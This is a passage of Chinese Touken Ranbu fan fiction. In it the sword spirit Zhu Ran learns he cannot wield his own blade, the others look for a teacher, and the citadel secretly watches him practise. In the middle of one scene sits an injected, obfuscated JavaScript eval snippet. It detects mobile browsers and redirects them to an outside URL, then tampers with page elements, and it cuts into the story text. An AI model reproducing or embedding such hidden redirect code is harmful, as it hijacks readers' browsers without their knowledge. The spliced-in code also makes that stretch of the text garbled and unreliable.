都没用。 怒火之下的桃濑灯里之所以选择罚他去手合,一方面是因为这位大爷肉眼可见的十指不沾阳春水,担心他去田当番把田浇死,去马当番把马放丢,到时候伤心的反倒是像小夜左文字、桑名江这样真心热爱耕种的刀刀们,另一方面,则是因为听压切长谷部汇报了他和祝染的对话,她对于祝染有了一些猜测需要验证。 而此时此刻,手合场内,众刃围成半圈,气氛庄重中透露出雀跃与好奇。 毕竟在场的各位有不少都直面了祝染刚登场时那神圣又强烈的光污染,对他的实力也是十分好奇。 对刀剑来说,战斗才是他们的本能与立命之本。 此时站在场上的,是终于从无尽的工作中逃脱、但又因为和祝染身高体型最相仿,而被临危受命的传奇打工人山姥切长义,他一身干练的蓝色运动装内番服,手持着锋利明亮的本体,表情严肃得像刚出审判庭。 而他的对面——那位今天刚巧也穿了山姥切长义借的衣服的“新来的长剑”,衣服与他如出一辙,动作也是一比一复刻精仿,祝染粉色的眼眸中跳跃着光芒,难得地收敛了笑意,此时正神情无比严肃地……双手举剑。 众目睽睽之下,他双手郑重地握住剑柄,像模像样地举过头顶,摆出了极其“正统”的握持的架势,身姿挺拔,目光如炬,如同一位西幻游戏里手握重剑的骑士。 ——如果忽略掉他手里的是一把细长的单手剑的话。 四周的空气瞬间安静了一瞬,然后迅速响起了围观的众付丧神们窃窃私语。 压切长谷部的眉头一皱,被折腾得心力憔悴已经彻底对祝染失去信任的他还以为这也是祝染战术的一环:“……这是在做什么?” “不知道……可能是祝染殿自己的习惯吧。”站在他旁边的一期一振同样不理解,但是他温良地选择尊重。 应该,没那么复杂。 而他们两个半个身位之前站着的,是山姥切国广和桃濑灯里,此时山姥切国广适时地在心中吐槽着,有些尴尬地拢了拢自己的被单,天性敏感直觉也很准的他,此时心中有一个荒唐的想法在逐渐成型。 小短刀们更是忍不住在旁边交头接耳了起来。 “祝染殿他……应该是开玩笑吧?”五虎退抱紧自己的小老虎,小心翼翼地询问身边的兄弟道,声音如蚊般细弱,仿佛生怕被当时刃发现自己在议论他。 “真的吗……看起来不像演得,如果是真的只能说他演傻子真的很有一套了。”乱藤四郎也忍不住更加仔细地观察祝染的表情,试图从中分析出蹊跷,但最终颗粒无收。 “啊……”桃濑灯里绝望地扶额,面上露出一种“早知道会这样”的表情: 果然猜对了……难怪昨天才知道刀剑存在的理由是战斗,这位自平安时期就被视为神明之物的,华美的长剑,根本是没上过战场、也完全不会用自己的剑啊。 “哈哈哈哈哈哈!”这正是鹤丸国永最喜欢的情节——他看到审神者的反应迅速地猜到真相后更是直接笑倒在地,雪白的衣服就这么毫无顾忌地滚进沙地,“这可真是个大惊喜啊!染酱你真是太有意思了!” 从来没有人想过会有刀剑付丧神不知道自己的本体该怎么用这种事。 而此时面对这种出乎意料的情况,最直观面对这份震撼的,还当局者迷的,其实是作为他的对手的山姥切长义。 “——等等。”山姥切长义俊逸的眉峰抽了一下,声音冷得像冰面被划破,向来才思敏捷的他此时言语却有些磕巴:“你、你那是……干什么?” 而被质疑的祝染本尊却一脸理所当然:“持剑的姿势啊。大家不都这样么?” 他的语气中甚至微不可查地有一丝炫耀,他展示着自己的刻苦好学:“我每天都有来手合场看的,绝对一比一复刻。” 那很好了,净学些没用的。 窥探到真相的桃濑灯里满腹吐槽。 “你本体很沉吗。”山姥切长义的语气依旧冷静而克制,不愧是饱经风霜经验丰富的时政公务员,见惯了大风大浪,无论何时都能保持清醒理智分析:“不用两只手抬不起来?” “没有啊,我觉得还蛮轻的。”祝染茫然地看着他,眼神清澈地像是现世的大学生一样。 “那你这么做的意义是什么。” “欸——?”这句话却难得问倒了祝染,他歪了歪头,一脸无辜: “可我看他们都这么做啊?鹤丸就——” “鹤丸国永是太刀。”山姥切长义无情地打断他。 “哦,那……压切君也是——”祝染眨了眨眼,倔强地继续给自己寻找依据。 “打刀。”山姥切长义开始觉得事情有些不妙了。 “不准喊压切!喊我长谷部啊!”压切长谷部就像被自动触发的npc一样,在旁边围观着没想到也能有自己的事情,他下意识地捍卫自己的名字。 “怎么这还有差别啊……明明都是刀剑。”祝染肉眼可见地变得有些沮丧,他突然萎靡的样子看得山姥切长义更是胸中一股无名闷气。 “你是长剑!”山姥切长义几乎是咬牙切齿说出这四个字,他此时无语但又无处发泄的憋屈模样,让压切长谷部觉得自己简直是在照镜子。 果然需要把向主殿提议关注付丧神牙齿健康这件事情提上日程。 祝染缓慢地眨了眨眼,像刚听懂新单词的小学生,又突然若有所悟地点头感慨道。 “原来我这么稀有啊。” “不是稀有的问题。”山姥切长义险些被他抓重点的能力给气笑了,他深吸一口气,强行压下眉间的抽搐,语调又冷了一层,“问题是你完全不会用自己的本体。” “…….” “你不是打刀,你这样挥,下一秒就会先砍到自己的腿。”看着祝染保持沉默一幅完全被说中的心虚样子,山姥切长义从善如流给他分析,仿佛真是一位耐心的老师。 反常。 熟悉的他的人都知道,这不是骄傲强大的本歌的作风,山姥切长义才不会有好为人师的想法,他是彻头彻尾的行动派与效率派。 桃濑灯里和山姥切国广对视一眼,仿佛心有灵犀般想到了一起。 而没有让他们失望的是,紧随其后,山姥切长义索性收刀入鞘抱起了臂,表情三分假笑,语气不冷不热: “怎么,面对敌人你要先自断一腿以表尊敬吗。”果然,常年浸淫在官方机构的公务员就是不一样,即使是阴阳怪气也保持着礼貌。 桃濑灯里放下心来。 还是本本熟悉的配方,没被祝染气晕。 面对眼前残酷的现实,桃濑灯里终究还是要站出来主持大局,她从刃群中向前一步站了出来来到了山姥切长义的后方,一边伸手像给猫咪顺毛一样拍了拍山姥切长义的背,一边面朝祝染无奈地叹气:“好了好了,长义先下来吧。情况我已经大概明白了。” “咱们这位祝染大爷,不会用自己的本体,需要从零学起。” 祝染把自己的本体单手别在背后,此时低下了头显的有些羞涩。 虽然种种迹象都有所表明,但这直接把这件事情公布出来还是给众刃带来了不小的冲击,他们一瞬间安静下来。 毕竟刀剑付丧神不会用自己的本体这种事情闻所未闻,明明战斗之于他们就像是本能一样。 “总而言之,先给他找一位老师吧。”桃濑灯里若有所思,目光在手合场上的付丧神们身上来回穿梭。 她的目光先是下意识地落到了山姥切国广身上,毕竟是风雨同舟患难与共的初始刀,依赖和相信山姥切国广已经变成了她的习惯,虽然不是废审制造机那一类的付丧神,但是被被的可靠程度在时政都是有口皆碑,而且打刀和祝染本体的体型又很相近,万一用法上也有相同之处呢。 最重要的是,虽然本丸打刀众多,压切长谷部、山姥切长义甚至加州清光也都在其中,但山姥切国广的性格在其中一骑绝尘地温和。 至少教不会不用担心大打出手的教学事故。 “我教不了他。” 但是这一次山姥切国广也无可奈何,他语气平淡地宣布不可抗拒的事实。 主殿真是的……这种时候即使看他也是没有用的,使用跟自己刀种截然不同的剑,可不是喂马劈柴那种虽然不会也可以克服的小障碍。 毕竟刀是单侧开刃,但剑却是双刃的,看似差别不大,但其实用法绝对天差地别——如果他教祝染的时候用胳膊擦一下刀背,对方跟着学一下,就会变成给自己胳膊来一刀了。 气氛陷入尴尬的沉默。 一旁的加州清光抱着手臂努力思考着想要为主分忧,他轻轻“啧”了一声:“那找蜻蛉切?毕竟枪是可以单手用的,感觉剑也可以学一下吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16501404|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “刀种差更远了,还不如直接找敌枪呢。”大和守安定敲了一下他的脑袋,打断了他的异想天开。 “有了!我们去找丙子椒林剑和七星剑!”鹤丸国永突然灵光一现,兴高采烈地举手发言。 包括桃濑灯里在内的众人聚是眼前一亮。 怎么忘了这两位虽然语言不通所以不太交流,但其实实力相当强大的、来自异国的老祖宗,华国作为剑的故乡,肯定对剑术大有研究啊。 “哈哈哈哈,非常遗憾啊,有幸跟两位殿下交流切磋过,这两位其实从刀种上是唐横刀来着,也是单侧开刃的。”一直没怎么说话在安静围观的三日月宗近不鸣则已,笑哈哈地就击碎了众人刚刚燃起的希望。 众人沮丧地你看看我、我看看你,目光在场内一圈传递,气氛陷入了凝滞。 到头来本丸里几乎全是刀,能教祝染的人几乎没有。 “双开刃…….剑…….”药研藤四郎若有所思的喃喃自语道,大家的目光也不由得落在了他的身上。 在他的启发下,突然想到了什么的粟田口小短刀们心有灵犀地异口同声: “白山哥哥!!!” “啊。”鹤丸忽然捂嘴,偷笑,“想起来了——还有个吉光是剑来着。” 对啊,白山吉光,是一把货真价实的,时政刀帐上认可的剑啊。 所有人的目光齐刷刷落到坐在不远处、一直乖乖啜茶的白山吉光身上。 祝染也满怀期待地盯着白山吉光,粉色的眼睛里星光熠熠,像一只等着被认领的小狗。 短刀、打刀、太刀、剑,这个粟田口刀派还是太全面了。 结果终究是粟田口势力最能够为主分忧吗。 刀种所限的压切长谷部心有不甘。 而面对众人期待救世主的目光,白山吉光声音平稳地如同电子音一般,话语也是直截了当:“教不了。” “诶?!为什么——”桃濑灯里可怜巴巴地眨眨眼看着他。 白山抬起眼皮,声音淡淡的:“……我,是短剑。”他还进一步补充了数据,让人无从反驳,“根据测量,我们的刀身长度相差60.4厘米。” 他顿了顿,表情冷静得一如既往:“所以,虽然同为剑,我,和你的长剑,不是一个用法。” 他的态度实在太过严肃,反倒让四周瞬间冒出几声忍不住的憋笑。 鹤丸国永更是一边揽过垂头丧气的祝染一边拍打着他的背放声大笑:“哈哈哈!染酱!人家跟你压根不是一个世界的!” 祝染眨了眨眼,低头看看自己那把闪着光的长剑,又看看白山腰间本体纤细的体型。 ——确实差得有点远。 感觉自己用的材料努努力能把白山吉光一家三口都锻造出来。 “那、那我岂不是没人能教了?” “是啊,你可能要自己摸索了。”桃濑灯里也有些绝望了,所有的路线都走不通,那就真的只能听天由命了。 “可我都不知道怎么开始啊!”祝染委屈地抿嘴。 “那就先——别乱挥。”桃濑灯里顿了顿,认真补了一句:“我们至少能先保证别砍到人。” 加州清光一手捂嘴,忍笑到肩膀都在抖。 被鹤丸捶打着还被桃濑灯里也放养了的祝染也有些泄气,经过重重磨难的他现在是一颗很有嚼劲的手打牛肉丸。 正当事情一筹莫展要被彻底宣告失败之际,自从下场后一直沉默的山姥切长义突然开口了: “时政不是通网了吗,我们可以在网络上找视频让祝染跟练啊。” 他的话语一语点醒了在古代待久了思维也跟着山穷水尽的付丧神们。 不愧是堂堂本作长义下略58字,能考上公务员的脑子就是好使。 如此与时俱进,如此才思敏捷。 “这样就有了大的方向,剑法虽异,基础总归相通。细节的握法、步法上,白山应该能指导一二的。”一期一振也开口补充道,温和的声音不急不躁如同清泉淌过,抚平人心尖的烦闷。 白山吉光被祝染和审神者渴求的目光,还有其他刃众目睽睽盯着,难得有了情绪波动迟疑地点了点头。 “至于实战和长度上的问题,我们也不都是双手劈砍,单手挥刀上应该差不多,祝染本体跟我们打刀相近,应该也能跟着学起来。”眼看同事在出谋划策为主分忧,压切长谷部也不甘示弱地分担道。 “哈哈,那这样计划就很清晰了呀。如果实在不行,就把染酱丢到现世去上辅导班吧。”鹤丸国永相当开朗地附和,主意虽然歪但倒也是一条可以走的路。 毕竟桃濑灯里也自幼就上辅导班修习日本剑道。 眼看着以网课为主、白山吉光为辅,打刀太刀们也共同参与的,虽然东拼西凑但是也体系完备的长剑祝染教学计划就这样慢慢成型,被热切讨论的众刃包围着的祝染眼神明亮:“太好了!那就请老师多多关照咯!” 15.七舅姥爷这里有好心的本歌 清晨的雾气还未散去,庭院中弥漫着潮润的空气。 露水沿着竹叶滴落,落在木廊边的石板上,发出“哒”的一声轻响。 这个时间本丸的刀剑们大多还沉浸在睡梦中,祝染却一反他娇生惯养的常态,早起来了手合场自己练习。 他握剑的姿势可能是因为陌生依旧有些笨拙,但眼神明亮灿烂,粉色的瞳孔在阳光下亮得像宝石的火彩般炫目。 昨天,他先去蹭桃濑灯里的平板看了几节最基础的剑术课程,又跟着白山吉光纠正了一下步伐和动作,就已经能挥舞地有模有样了。 虽然这把平安老爷剑出走千年,归来仍是新剑,一把年纪了还要从零开始学习使用自己的本体,但付丧神终究和普通的初学者不一样,他的上手速度和手感都出乎众人意料。 而此时,祝染正穿着鹤丸国永的内番服,整个人从头到脚一身雪白,像被裹进米糕里。 ——昨晚回了部屋之后,鹤丸国永像个小学生一样假哭着闹着要他穿的,说他看的人类小说里剑修都是穿一身纤尘不染的白衣仙气飘飘的。 “脚步太窄,握剑太高。” 祝染的认认真真地举着剑,一板一眼地模仿白山吉光的姿势,复习着昨天的白山吉光对他的评价,眼神专注,额前的发丝被风轻轻拨动。 然后再一次深吸一口气,又一次举剑、运力、出剑—— “……还是不对。” 他不甘地轻咬着唇喃喃自语,细长的眉皱了又皱,动作却很有耐心地不断重新调整重心。 那动作像是孩子第一次学走路般艰难滞涩、一步一晃,却透露出一丝不苟甚至是虔诚。 他又一次出剑,剑尖微偏,落在空气里。 虽然没有击中目标,却在下一刻稳稳收势。 剑光划开晨雾,在空中留下一道微弱的银弧。 那不是锋芒,而是温柔的、近乎小心翼翼的线条—— 祝染低头,看了看自己的手和手中的剑,眼神中满是不可思议后笑了。 “嗯……至少没砍到树。”虽然跟本丸的其他付丧神完全没法比,但现阶段他对此感到很知足了。 毕竟在过去的千年之间,无论是藤原氏的主君们,还是他历任的收藏者们,甚至包括他自己,都认为“祝染”是一把美丽、脆弱的,只需要被静静地陈列着欣赏,作为赏心悦目的祭品的、只在观赏用途上有意义的剑。 最开始听说要被惩罚手合的时候他惴惴不安了一个晚上,一方面是因为知道自己不会用剑这件事情很快就要暴露出来,但更多其实是担心自己的本体又薄又细,会不会根本扛不住别的刀剑、尤其是体型庞大的太刀、大太刀们的一击,当场碎刀出师未捷身先死。 但仔细想想,藤原氏财大气粗,他的用途还是敬献天皇、上奉神明,祝部国秀应该不至于、也没必要偷工减料搞豆腐渣工程。 面对这些权势滔天的顶尖权贵搞小动作,这跟把自己的脑袋摘下来当球踢没什么区别。 虽然祝部国秀最后……确实是被祝染剑亲自割断了脑袋。 好在经过第一天的训练验证,如他所想的,他的本体质量非常坚固,甚至挥舞起来出乎意料地顺手,仿佛天生就有着战斗的天赋一般。 祝染心中漫不经心地想着,手上动作还在继续,但失去了全神贯注的谨慎之后,一个疏忽事情就朝着不可控的方向发展。 “咣铛——!” 电光火石之间,剑身脱手像被甩出去的闪光,呼啸着飞向庭院另一头。 “啊、糟糕——!”祝染惊得愣在原地,完蛋了,看这个架势轻则戳一个洞毁坏财物、被博多藤四郎拿着刀监督给木柱子道歉保养,重则直接木梁被毁本丸塌房、他从此负债累累当牛做马。 而就在剑带着祝染余生的命运即将扎进廊柱时,一只修长白皙的手精准地提着刀伸出,刀背轻轻一旋轻描淡写地击飞了剑,剑身朝下即将插进土里的时候被人稳稳被接住。 屋檐的阴影中,有人轻轻地叹了一声。 ——山姥切长义步调优雅地走出来站在晨光中,目光冷静,姿态完美,薄雾中他银发上的露珠被阳光折射出一点如他的刀身般锋利的亮光。 “我说,”他提着那把剑,语气平平,“你这是想练剑,还是要搞装修。” “诶嘿……失手啦。”祝染僵着身子一脸尴尬地看着对方手中他的本体,心虚地笑着转移话题欲盖弥彰:“本本君早上好呀,这个点起床的刃,是本丸的希望,是时政的标杆,是完美无缺的本作长义……” 面对他的胡言乱语,山姥切长义似乎是没绷住原本淡漠的眼神,微微动了动。 “谢谢,我是来看你在干嘛的。”他语气依旧保持着不冷不热,但微微颔首算是认可了祝染的夸奖,伸手把剑还给了他。 就像一只被顺毛后露出满意神情的骄傲的银渐层,也懒得争辩祝染对他的称呼了。 “那您看到了什么?”风吹过祝染的发梢,白色的衣摆翻飞,他接过剑的一瞬间,指尖仿佛与剑光合为一体。 “看你乱来,第二天就能有这么强的破坏力真是了不起。”山姥切长义面带真挚但嘲讽的微笑。 “那正是说明我有进步呀,昨天的剑都飞得更远。”这个祝染就这么假装读不懂地顺竿子往上爬,逻辑相当粗暴: 既然都帮他阻止剑乱飞了,那长义君就是好刃,好刃就会包容他。 长义君好,他也好。 还不知道自己被祝染在心里发了好刃卡,以后要面对这只搞事比格的山姥切长义怪异地看了他一眼,像在评估某种危险生物。 他想了想,还是出言警告道:“到底在骄傲些什么?庆幸没飞到我头上吧,我会当场解体你的。” “遵命教官!”祝染立刻立正反而更加精神,举着剑又比划了一下:“那您看我这次有没有好一点?” 他神色诚恳,眼神可怜巴巴地看着山姥切长义。 “没有分享的义务,我昨天可没说要当你老师。”好不容易从公文修罗场中解脱,哪怕是人尽皆知的工作狂山姥切长义也会需要休息,他很敏感地察觉到了这个麻烦摊子在靠近他,并冷酷拒绝。 山姥切长义冷傲退祝染,表明立场拒惹麻烦。 “那我就自学,本本君你看不下去了肯定会出手的!”明明初来乍到这座本丸没几天,祝染却已经掌握了一个猴一个栓法的真理,甚至能够灵活运用拿捏很多刃。 果然不管成长经历多么特别,再怎么也都是平安老剑,堪称是老奸巨猾。 “……” 确实,对于追求完美的知名强迫症山姥切长义来讲,就祝染这简陋的剑法,看不下去是早晚的事。 哪怕是闭上眼睛都会忍不住回想的丑陋。 山姥切长义看着祝染隐隐歪掉的架势,沉默了三秒,任命地叹了一口气,终究还是伸手,站到了祝染身后。 “重心往右。脚步错开。别那么死。你的剑不是刀,不需要拔,只要顺势。”语气平稳冷静,几乎听不出波澜。 “像这样?”祝染照做,动作还是略显生涩。 山姥切长义不置可否,直接用行动伸手轻轻扶住他的手腕,调整了他的手腕角度,声音不高:“放松。” “剑不是这样举的,力要藏在肩后。呼吸——放慢。” “这样吗?”祝染配合地呼吸,动作却依然带着那种“似是而非”的笨拙。 “差不多。” …… 晨光照进两人之间,空气静得只剩风声,两人之间一来一往的对话在风里安静地回荡。 “脚要再张开一点。” “但是腿张得太开万一对面觉得我是很轻浮的人怎么办。”跟山姥切长义越熟,祝染就越本性暴露。 拥有者更应给予,以这句话为信条的山姥切长义,是一振美丽、强大,并且自信心满满的刀,他的性格就像他的本体一样锋利而明亮,纤尘不染。 “上了战场还要想这个吗,那敌打刀也是风韵犹存。”山姥切长义一脸冷漠。 见证了压切长谷部的惨状,他绝对吸取教训控制住情绪,不会沦为祝染和鹤丸的玩具。 但是他以为压切长谷部是因为太有求必应才被这两刃盯上,殊不知两刃的心态相当博爱,搞事也不分对象一视同仁,正所谓狗有狗的好,猫有猫的萌,为了好玩所有刃的反应他们都照单全收。 毕竟是初学者,祝染每一次的出剑都不算是完美,但他也不恼,就笑着改正然后一遍又一遍,像是在对剑、也对自己说话。 “没关系……总会学会的。” 风中剑声清脆,微凉的空气被反复切开一层层浅浅的银雾。 山姥切长义逐渐退步,但也没有像他所说的一样扭头离开,而是就站旁边抱着臂看着他继续练习,仿佛真的是祝染的教官一样。 性感公务员,在线监督辅导。 “大成功——!这次感觉特别顺利!”终于,祝染的声音从喃喃自语的怀疑变回他一贯的清亮,甚至带着一丝得意。 明明付丧神不是人类,有很多生命体征都是不存在的,但他还是伸手拂了一下额角的不存在的汗,笑得像个偷腥成功的猫。 山姥切长义在一旁微微一笑,这一次仿佛是发自内心一般,但话语中依旧是夹枪带棒:“恭喜你祝染殿,庭院会感谢你饶他一命的。” “听起来好像我上次把它毁得很惨一样。”祝染故作无辜。< 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他突然之间,就很想告诉这位本丸的主人,现在的他有了为本丸、为她战斗的信念和能力。 想要作为她的付丧神,留在这座本丸。 想要继续和这些付丧神们相处下去。 这种想要一个归属的想法,是他流浪的千年之间从未断过,但又从未被真正燃起的。 还没有完全清醒只是听到手合场有声音,其中一个还是山姥切长义,不太放心所以来看看情况的桃濑灯里微微怔住: “你说就好。” “其实,我之前一直觉得自己只要‘漂亮地装饰在鞘里’就好,虽然来到了这个本丸,也没有作为付丧神要去为了历史什么战斗的决心。我一直说自己很漂亮的样子应该很讨人嫌吧?其实我也很讨厌这样的自己……一直被供奉在祭坛上、藏在匣子里或者玻璃展示柜里,一直是一把没用的装饰品,明明是刀剑,但是连被人悬挂在腰间都没有过。” 那很惨了。 但也是没办法的事情,毕竟他的出身起点太高,作为敬奉天皇与神明的器具,铸造地如此华美隆重,谁敢轻易地把他带出门呢。 第一次见面的时候桃濑灯里也在担心随便摸会蹭坏了他的金漆。 “但是我总要告诉自己我有存在的价值,不能连我自己也否定自己,所以我把美丽当成是我的全部。” 祝染话语一顿,像是在咀嚼斟酌那句话:“但那是以前。” 他低头看着手中的剑,声音轻得像在对自己说—— “我现在……想漂亮地挥剑。” 他的语气非常诚恳,那种真诚不是炫耀,也不是玩笑,而是一种还没学会隐藏的稚拙的认真。 “长谷部君说,刀的价值是保护与被使用。我在学着……不要只是被赞美。” 祝染的话语并不重,却让桃濑灯里心头有种轻微的震动。 风从两人之间吹过,带着庭院中桂花馥郁的气息。 桃濑看着他,心底那点因为能够隐约感觉到祝染惹出了太多麻烦的摇摆,忽然在这一刻悄无声息地软了下来。 作为一名几乎要全刀帐的资深审神者,她曾经无数次和刀剑付丧神们从陌生到了解他们的过往,与他们并肩而战,建立起属于彼此的,真正的羁绊。 不是主人与时政契约好的刀剑男士,而是桃濑灯里,与山姥切国广、压切长谷部、一期一振、三日月宗近……. 祝染,和他们没什么两样,都是虽然锋利明亮但也会有自己独特个性的付丧神。 “……看来,你也不是完全不懂事。”桃濑灯里沉默了片刻,有些别扭地说出这句话,伸出手替他拨去肩头一粒桂花。 而在她的注视中,祝染抿唇一笑,像是终于等到一句认可:“当然,我可是很努力的漂亮付丧神。” “好、好、那就继续漂亮地努力吧。” 晨光倾斜,练武场的影子拉得极长,山姥切长义远远望着那一幕,眼底稍许柔和。 今天还有工作要忙,他转过身准备离开,还没走几步,就听到祝染在背后全力的大喊: “谢谢你,长义君——!” 他脚步停了停,但却没回头,只淡淡地“嗯”了一声:“好好练,没工作我会来检查你进度的,毕竟我也是打刀,可以教你一点。” “那我教你怎么甩飞剑呀。”祝染语气活泼。 “那种事不需要学!”绷了一早上矜贵的山姥切长义终究还是没忍住。 祝染和桃濑灯里相视一笑。 果然逗猫还是很有意思的。 雾气散了,阳光穿破层云洒满练武场,祝染的剑影在地面摇晃,剑光摇曳,终于像是在学会呼吸。 16.七舅姥爷这里有家长看孩子上学 众所周知,在与刀剑付丧神们签订契约后,时之政府采取了一套具体可量化的评估体系,为付丧神们们测量各项能力。 也就是生存、打击、防御、机动、冲力、侦查、隐蔽等八项数值。 不同刀种的付丧神们,各有所长,也各有所短——比如桃濑灯里经常会在被鹤丸国永恶作剧到之后,威胁他要送他去夜晚室内战。 这就是包括鹤丸国永在内几乎所有太刀、大太刀们的克星。 一方面是因为室内战场场地狭窄,刀长、体型也较大的付丧神们动作不像短刀、胁差们那么灵活。 而另一方面,就是因为夜晚光线昏暗,而体型越大的刀剑往往侦查越差,在夜间和瞎子没什么区别。 哪怕是如王子般优雅的吉光最高杰作,粟田口的大家长一期一振,也不能逃脱这个定律,他的可靠程度在夜间也需要大打折扣—— 毕竟之前一期一振摸黑去找在和老头茶友会们一起喝茶的弟弟平野藤四郎的时候,误把三日月宗近当成弟弟牵了回来。 而同为太刀夜间视力不详的三日月宗近也很从善如流。 这就是侦查太低惹得祸。 而如果山姥切长义、祝染的侦查再高一点的话,就会发现: 其实手合场旁边,房梁有幸逃过一劫的那间和室的屋檐上,一直有人影若隐若现。 鹤丸国永鬼鬼祟祟地趴在窗框上,欲盖弥彰地用半雪白的宽袖遮着脸东张西望: “噢——看到了看到了,染酱在练习呢!看起来不太顺手呀,我赌他十分钟内一定会砍到树。” 鹤丸国永今天早上也很早就清醒了——他毕竟是和祝染同住一间部屋的,室友早上起床出门的动作还是能感觉到的。 而装睡眯着眼看着祝染今天如他所说穿着他同款的白色内番服的时候,他藏在被子里的手甚至比了个耶。 而祝染径直离开,鹤丸国永也立刻从被子里弹跳爬起来穿上衣服,蹑手蹑脚地尾随他,看着他一路都浑然不觉。 侦查不行呀,染酱。 鹤丸国永最终选择趴在房顶的暗自感慨。 而和他一起围观的另外几位,则是因为侦查太高,全是短刀与胁差。 只是单纯起的很早,但是察觉到屋顶有人所以来一探究竟,结果也趴着看了起来的博多藤四郎状似严肃地扶了一下自己红色的眼镜,义正词严地批评道:“鹤丸先生,赌博是一种不良嗜好。” 而下一秒他数着手里金光灿灿的小判:“那我就赌他不砍树,但飞剑砸到人。” “那我押三分钟内必有解药,山姥切长义会出手。”——这是因为觉得好玩所以加入他们的太鼓钟贞宗。 如此具体的预测让鹤丸国永意外一愣:“为什么这么肯定?” “因为他就在走廊拐角,让我们把他请上来好吗。” 而随着物吉贞宗的话语补充,趴在屋顶的众刃们齐刷刷回头,只见山姥切长义正昂首挺胸、手中握着刀面无表情地走过拐角。 后续发展便是山姥切长义在祝染的纠缠下指导起了他的动作。 “博多,鹤丸殿,你们在做什么。” 疑惑的声音从背后传来,几人齐刷刷转头,看到一期一振正站在双手环胸站在小径上,脸上是无奈又宠溺的表情,他旁边还带着日常面无表情的白山吉光,少年肩上狐狸蓬松的尾巴在一甩一甩。 按照一期一振自己的侦查来讲,根本不可能发现鹤丸一行刃,多亏了白山吉光的小狐狸。 “嘘——!”博多藤四郎着急地伸手比出安静的手势,压低声音回复道:“一期尼,快上来,不要被他们发现了!” 一期一振虽然困惑但是对弟弟的要求从善如流。 而没有接受到明确的指令的白山吉光站在原地思索了片刻,转头朝着还在练习的两刃走去了。 “所以,各位是早起来围观祝染殿练剑的吗?真是颇为勤勉啊。”一期一振似乎明白了眼前的情况,他面色真诚地夸赞道。 就是不知道这句勤勉,是在说祝染还是趴在屋檐上的四刃。 “这是对染酱爱的监督。”鹤丸国永笑着回答。 “监督他别砍到自己。”博多藤四郎补刀。 “……监督他掉剑的时候别哭。”太鼓钟贞宗补上第三句。 这个,应该不至于吧? 一期一振终于没忍住笑出声。 他看向手合场——那边的祝染正在山姥切长义真正的监督下,笨手笨脚地模仿着白山吉光的姿势,步伐虽然凌乱,却格外认真。 每一次出剑都带着几乎笨拙的虔诚,仿佛那柄剑真的重逾千钧。 而就在祝染和桃濑灯里说完话、去食堂吃完早饭回来之后,这个围观的队伍更加壮大了。 祝染完全不知道,早饭时和他一切如常插科打诨的鹤丸国永,其实看他练习了一个早上,还打算继续把观光团做大做强。 除了今天有内番和日课的付丧神们,本丸里的付丧神几乎都参与了这项由鹤丸国永发起的团建活动。 桃濑灯里自然也在其中。 明明平常大家都各过各的生活,但是在祝染来了之后却总是因为他而被聚到一起呢。 实在是这位与众不同的付丧神太过有意思了,他像是一个由矛盾组成的复杂的集合体: 来自平安时期的鼎盛门阀却性格活泼开朗的过分,作为皇室御物和祭祀礼器却流落海外对日本历史知之甚少,明明作为刀剑付丧神却不会用剑,总是笑着但是眼神的光亮却无法达到眼底。 他们也很想看看对方身上到底还能发掘出什么样的潜力,到底是什么样的经历,才能够塑造出这样的祝染。 但是刃数一多,房顶的位置自然就不够用了,能看到手合场景象的观赏位虽然不少,但风景和角度都有差别,分配也成了问题。 而不少付丧神们,比如加州清光,还跟小学生一样,表示要跟自己的好朋友在一起。 所以众口难调之下,秉持着公平公正的原则,干脆所有刃都躲到一起了,爱靠着谁就自己过去。 于是乎,手合场不远处围墙后的灌木丛里,就这么出现了一排又一排若隐若现的脑袋。 ——整个本丸的“观众席”已经就位,祝染浑然不觉,他正重新摆好架势,深吸一口气。 风吹过他额前的碎发,阳光洒在剑锋上。 这一刻他确实漂亮——表情虔诚、整个刃沐浴在阳光中皎洁到接近透明,那种近乎圣洁的美丽,连围观的付丧神们都为他花了眼。 …… “好像又要掉剑了……”一边聚精会神地看祝染练习,一边还要抱着顽皮的小老虎、控制他们不要出去捣蛋的五虎退怯怯地开口。 “掉就掉吧,反正地上软。”药研藤四郎伸手扶了一下眼镜,语气无比冷静,手里的笔记本确实跃跃欲试地准备好了。 “药研,染酱今天一共掉了几次剑?”身高比较高还一身显眼的纯白的鹤丸国永蹲在地上,抬头小声问。 “算上这次第三次。”药研藤四郎低头看了一眼他的笔记本,答得干脆,“但比昨天少七次。” “哇,进步飞快啊。”加州清光坐在地上懒洋洋地托着下巴,欲盖弥彰地用红色的围巾挡住大半张脸,笑得眼尾弯弯像一只顽皮的猫:“不过他那个招式这么频繁练,真的没问题吗,明天肯定腰酸。” “那说明祝染有在认真努力。”坐在他旁边的大和守安定用手指骨轻轻敲了敲清光的膝盖:“清光,你笑得好邪恶。” “哈?哪有!”加州清光不满地鼓起腮帮。 “嘘——别太大声,会被发现的。”另一边乱藤四郎一脸紧张地捂住他。 “动作还是太稚嫩了,小孩子过家家。”因为坚决不肯跪在地上,一身白紫色运动装的压切长谷部单膝跪地、面无表情地吐槽,他虽然嘴上这么说,手里却拿着一只保温瓶——里面是他让烛台切光忠提前泡好的蜂蜜柚子茶。 而桃濑灯里手里还捧着同款,正是来自压切长谷部的投喂。 “那你还特意带茶?”加州清光挑眉。 “谁说是给他的了,这是也给主殿的。”压切长谷部一本正经,但是手里依旧握紧保温杯。 山姥切长义抱臂站在最后面,身姿隐蔽在树荫中,嘴角是一模若有似无的笑:“你们是小学生家长吗。” “那你怎么也来了?”裹着被单有最天然的隐蔽条件的山姥切国广反问。 “我……只是路过。”山姥切长义轻咳一声别开眼。“本歌的事情,伪物君少打听。” “哦。”山姥切国广表情都没有一丝改变地点头。 白山吉光和小乌丸正在不远处调整着祝染的挽剑花的姿势,语调安静祥和得像春日的风。 